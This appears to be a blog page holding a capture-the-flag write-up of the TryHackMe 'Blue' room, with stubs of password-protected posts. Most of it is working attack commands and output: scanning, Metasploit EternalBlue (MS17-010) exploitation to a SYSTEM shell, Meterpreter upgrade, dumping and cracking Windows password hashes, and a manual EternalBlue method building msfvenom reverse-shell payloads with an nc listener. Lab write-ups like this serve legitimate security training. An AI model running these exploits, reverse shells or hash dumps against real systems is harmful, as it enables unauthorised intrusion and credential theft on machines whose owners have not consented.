Protected: htb-cascade-nl

This content is password protected. To view it please enter your password below:

Posted on

Protected: htb-remote-nl

This content is password protected. To view it please enter your password below:

Posted on

Protected: thm-boilerctf-nl

This content is password protected. To view it please enter your password below:

Posted on

thm-blue-nl

NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.

Today let’s play  Tryhackme’s blue at

https://tryhackme.com/room/blue

MASSCAN & NMAP

 

root@kali:~/trymehack/blue# masscan -p1-65535,U:1-65535 10.10.24.91 --rate=1000 -e tun0

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-09-04 00:56:01 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 49153/tcp on 10.10.24.91                                  
Discovered open port 49154/tcp on 10.10.24.91                                  
Discovered open port 49152/tcp on 10.10.24.91                                  
Discovered open port 137/udp on 10.10.24.91                                    
Discovered open port 3389/tcp on 10.10.24.91 

# Nmap 7.70 scan initiated Tue Sep  3 21:03:21 2019 as: nmap -sC -sV -p1-1000 -o nmap.scan_mil 10.10.24.91
Nmap scan report for 10.10.24.91
Host is up (0.23s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s
|_nbstat: NetBIOS name: JON-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:ae:0a:27:4e:02 (unknown)
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Jon-PC
|   NetBIOS computer name: JON-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2019-09-03T20:04:00-05:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-09-03 21:04:00
|_  start_date: 2019-09-03 20:54:40

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep  3 21:04:06 2019 -- 1 IP address (1 host up) scanned in 45.67 seconds
SMBCLIENT & SMBMAP

 

root@kali:~/trymehack/blue# smbclient -L \\10.10.24.91
Enter WORKGROUP\root's password: 
Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------
smb1cli_req_writev_submit: called for dialect[SMB2_10] server[10.10.24.91]
Error returning browse list: NT_STATUS_REVISION_MISMATCH
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.24.91 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
root@kali:~/trymehack/blue# smbmap -H 10.10.24.91
[+] Finding open SMB ports....
root@kali:~/trymehack/blue# 
NMAP – SMB SCRIPTS

vulnerable  ms17-010  ETERNALBLUE.

root@kali:~/trymehack/blue# nmap --script smb-vuln-* 10.10.24.91
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-03 21:11 EDT
Nmap scan report for 10.10.24.91
Host is up (0.20s latency).
Not shown: 991 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49158/tcp open  unknown
49159/tcp open  unknown

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 42.25 seconds
METASPLOIT – ETERNALBLUE

 

msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options 

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target address range or CIDR identifier
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        (Optional) The Windows domain to use for authentication
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs


msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.24.91
rhosts => 10.10.24.91
msf5 exploit(windows/smb/ms17_010_eternalblue) > show targets 

Exploit targets:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs


msf5 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.8.1.72:4444 
[+] 10.10.24.91:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.24.91:445 - Connecting to target for exploitation.
[+] 10.10.24.91:445 - Connection established for exploitation.
[+] 10.10.24.91:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.24.91:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.24.91:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.24.91:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.24.91:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.24.91:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.24.91:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.24.91:445 - Sending all but last fragment of exploit packet
[*] 10.10.24.91:445 - Starting non-paged pool grooming
[+] 10.10.24.91:445 - Sending SMBv2 buffers
[+] 10.10.24.91:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.24.91:445 - Sending final SMBv2 buffers.
[*] 10.10.24.91:445 - Sending last fragment of exploit packet!
[*] 10.10.24.91:445 - Receiving response from exploit packet
[+] 10.10.24.91:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.24.91:445 - Sending egg to corrupted connection.
[*] 10.10.24.91:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.8.1.72:4444 -> 10.10.24.91:49196) at 2019-09-03 21:15:49 -0400
[+] 10.10.24.91:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.24.91:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.24.91:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=



C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
UPGRADE SHELL – METERPRETER

 

msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions 

Active sessions
===============

  Id  Name  Type               Information                                                                       Connection
  --  ----  ----               -----------                                                                       ----------
  1         shell x64/windows  Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation...  10.8.1.72:4444 -> 10.10.24.91:49196 (10.10.24.91)

msf5 exploit(windows/smb/ms17_010_eternalblue) > search shell_to_meterpreter

Matching Modules
================

   #  Name                                    Disclosure Date  Rank    Check  Description
   -  ----                                    ---------------  ----    -----  -----------
   0  post/multi/manage/shell_to_meterpreter                   normal  No     Shell to Meterpreter Upgrade


msf5 exploit(windows/smb/ms17_010_eternalblue) > use post/multi/manage/shell_to_meterpreter
msf5 post(multi/manage/shell_to_meterpreter) > show options 

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on.

msf5 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf5 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.8.1.72:4433 
[*] Post module execution completed
msf5 post(multi/manage/shell_to_meterpreter) > 
[*] Sending stage (179779 bytes) to 10.10.24.91
[*] Meterpreter session 2 opened (10.8.1.72:4433 -> 10.10.24.91:49203) at 2019-09-03 21:21:37 -0400
[*] Stopping exploit/multi/handler

msf5 post(multi/manage/shell_to_meterpreter) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                                                                       Connection
  --  ----  ----                     -----------                                                                       ----------
  1         shell x64/windows        Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation...  10.8.1.72:4444 -> 10.10.24.91:49196 (10.10.24.91)
  2         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ JON-PC                                                      10.8.1.72:4433 -> 10.10.24.91:49203 (10.10.24.91)

msf5 post(multi/manage/shell_to_meterpreter) > 
METASPLOIT – HASHDUMP
meterpreter > run post/windows/gather/hashdump 

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 55bd17830e678f18a3110daf2c17d4c7...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

Jon:"Nah boi, I ain't sharing nutting with you"

[*] Dumping password hashes...


Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::


meterpreter >
JOHN – CRACK PASSWORDS

 

root@kali:~/trymehack/blue# john hashes --wordlist=/usr/share/wordlists/rockyou.txt --format=NT
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
                 (Administrator)
alqfna22         (Jon)
2g 0:00:00:00 DONE (2019-09-03 21:34) 2.061g/s 10515Kp/s 10515Kc/s 10520KC/s alqui..alpusidi
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed
root@kali:~/trymehack/blue#
FLAGS

 

meterpreter > ls
Listing: C:\
============

Mode                 Size                Type  Last modified                     Name
----                 ----                ----  -------------                     ----
40777/rwxrwxrwx      0                   dir   2009-07-13 23:18:56 -0400         $Recycle.Bin
40777/rwxrwxrwx      0                   dir   2009-07-14 01:08:56 -0400         Documents and Settings
40777/rwxrwxrwx      0                   dir   2009-07-13 23:20:08 -0400         PerfLogs
40555/r-xr-xr-x      4096                dir   2009-07-13 23:20:08 -0400         Program Files
40555/r-xr-xr-x      4096                dir   2009-07-13 23:20:08 -0400         Program Files (x86)
40777/rwxrwxrwx      4096                dir   2009-07-13 23:20:08 -0400         ProgramData
40777/rwxrwxrwx      0                   dir   2018-12-12 22:13:22 -0500         Recovery
40777/rwxrwxrwx      4096                dir   2018-12-12 18:01:17 -0500         System Volume Information
40555/r-xr-xr-x      4096                dir   2009-07-13 23:20:08 -0400         Users
40777/rwxrwxrwx      16384               dir   2009-07-13 23:20:08 -0400         Windows
100666/rw-rw-rw-     24                  fil   2018-12-12 22:47:39 -0500         flag1.txt
567211570/r-xrwx---  438533065912909807  fif   13905563959-04-24 15:54:40 -0400  hiberfil.sys
567211570/r-xrwx---  438533065912909807  fif   13905563959-04-24 15:54:40 -0400  pagefile.sys

meterpreter > cat flag1.txt 
flag{******************}
meterpreter > pwd
C:\
meterpreter >

C:\>dir flag* /s /p
dir flag* /s /p
 Volume in drive C has no label.
 Volume Serial Number is E611-0B66

 Directory of C:\

03/17/2019  02:27 PM                24 flag1.txt
               1 File(s)             24 bytes

 Directory of C:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent

03/17/2019  02:26 PM               482 flag1.lnk
03/17/2019  02:30 PM               848 flag2.lnk
03/17/2019  02:32 PM             2,344 flag3.lnk
               3 File(s)          3,674 bytes

 Directory of C:\Users\Jon\Documents

03/17/2019  02:26 PM                37 flag3.txt
               1 File(s)             37 bytes

     Total Files Listed:
               5 File(s)          3,735 bytes
               0 Dir(s)  22,796,713,984 bytes free

C:\>

C:\>type C:\Users\Jon\Documents\flag3.txt
type C:\Users\Jon\Documents\flag3.txt
flag{*******************************}
C:\>

C:\Windows\system32>type C:\Windows\System32\config\flag2.txt
type C:\Windows\System32\config\flag2.txt
flag{****************************}
C:\Windows\system32>

Another way Exploiting MS17-010 the manual way.

root@kali:/opt/MS17-010-2012# python checker.py 10.10.241.183
Target OS: Windows Server 2012 R2 Standard 9600
The target is not patched

=== Testing named pipes ===
spoolss: Ok (64 bit)
samr: Ok (64 bit)
netlogon: Ok (64 bit)
lsarpc: Ok (64 bit)
browser: STATUS_OBJECT_NAME_NOT_FOUND
root@kali:/opt/MS17-010-2012#

There may be times when you want to exploit MS17-010 (EternalBlue) without having to rely on using Metasploit. Perhaps you want to run it from a ‘Command & Control’ system without msf installed, run a quick demo or execute on the go. Unlike “zzz_exploit”, this method does not require access to a named pipe, nor does it require any credentials. The downside, however, is an increased risk of crashing the target. Kudos to Worawit Wang for making this easy.


Start by cloning the following repository:

$ git clone https://github.com/worawit/MS17-010.git

The shellcode directory holds (you guessed it) the kernel shellcodes.

$ ls -l MS17-010/shellcode/
total 44
-rw-r--r-- 1 root root 20305 Dec  2 22:03 eternalblue_kshellcode_x64.asm
-rw-r--r-- 1 root root 19862 Dec  2 22:03 eternalblue_kshellcode_x86.asm
-rw-r--r-- 1 root root  1589 Dec  2 22:03 eternalblue_sc_merge.py

The first step is to assemble shellcode to binary. You can do either one (depending which architecture your target is running), or assemble both and merge them to a single binary file. The latter is useful when you don’t know the target arch or if you are planning to run it against multiple systems with different architectures.


x64 shellcode

Assemble kernel shellcode with nasm:

$ nasm -f bin MS17-010/shellcode/eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin

Generate a binary payload or use an existing one. Name this sc_x64_payload.bin:

$ msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=192.168.0.29 --platform windows -a x64 --format raw -o sc_x64_payload.bin
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Saved as: sc_x64_payload.bin

Concentrate payload & shellcode:

$ cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin

x86 shellcode

Assemble kernel shellcode with nasm:

$ nasm -f bin MS17-010/shellcode/eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin

Generate a binary payload or use an existing one. Name this sc_x86_payload.bin:

$ msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.0.29 --platform windows -a x86 --format raw -o sc_x86_payload.bin
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Saved as: sc_x86_payload.bin

Concentrate payload & shellcode:

$ cat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.bin

Merging binaries

This step is only necessary when you want both x64 and x86 in the same binary. Assuming that you followed the steps above for each architecture; merging is done with the included eternalblue_sc_merge.py script:

$ python MS17-010/shellcode/eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin

Targets

The eternalblue scripts are located in MS17-010/ and have the following targets.

eternalblue_exploit7.py:

  • Windows Server 2008 & R2
  • Windows Server 2012 & R2 (x86)
  • Windows Server 2016 (x64)
  • Windows Vista
  • Windows 7

eternalblue_exploit8.py:

  • Windows Server 2012 (x64)
  • Windows 8.1 & RT
  • Windows 10 (x64) (build < 14393)

Running exploit

Word of advice; running these blindly against the target is a bad idea. Be sure to enumerate the OS first. Also, expect your target to crash or force a reboot once the session is closed.

Example running against vulnerable Windows 7 host:

root@kali:/opt/MS17-010-2012# python eternalblue_exploit8.py 10.10.241.183 /opt/MS17-010-2012//shellcode/sc_x64.bin
shellcode size: 1232
numGroomConn: 13
Target OS: Windows Server 2012 R2 Standard 9600
got good NT Trans response
got good NT Trans response
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status for nx: INVALID_PARAMETER
good response status: INVALID_PARAMETER
done


root@kali:~/thm/blue# nc -nlvp 443
listening on [any] 443 ...
connect to [10.11.3.122] from (UNKNOWN) [10.10.227.83] 49169
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>hostname
hostname
Jon-PC

C:\Windows\system32>type C:\Windows\System32\config\flag2.txt
type C:\Windows\System32\config\flag2.txt
flag{sam_database_elevated_access}
C:\Windows\system32>

Author: Puckiestyle

 

Protected: htb-reddish-nl

This content is password protected. To view it please enter your password below:

Posted on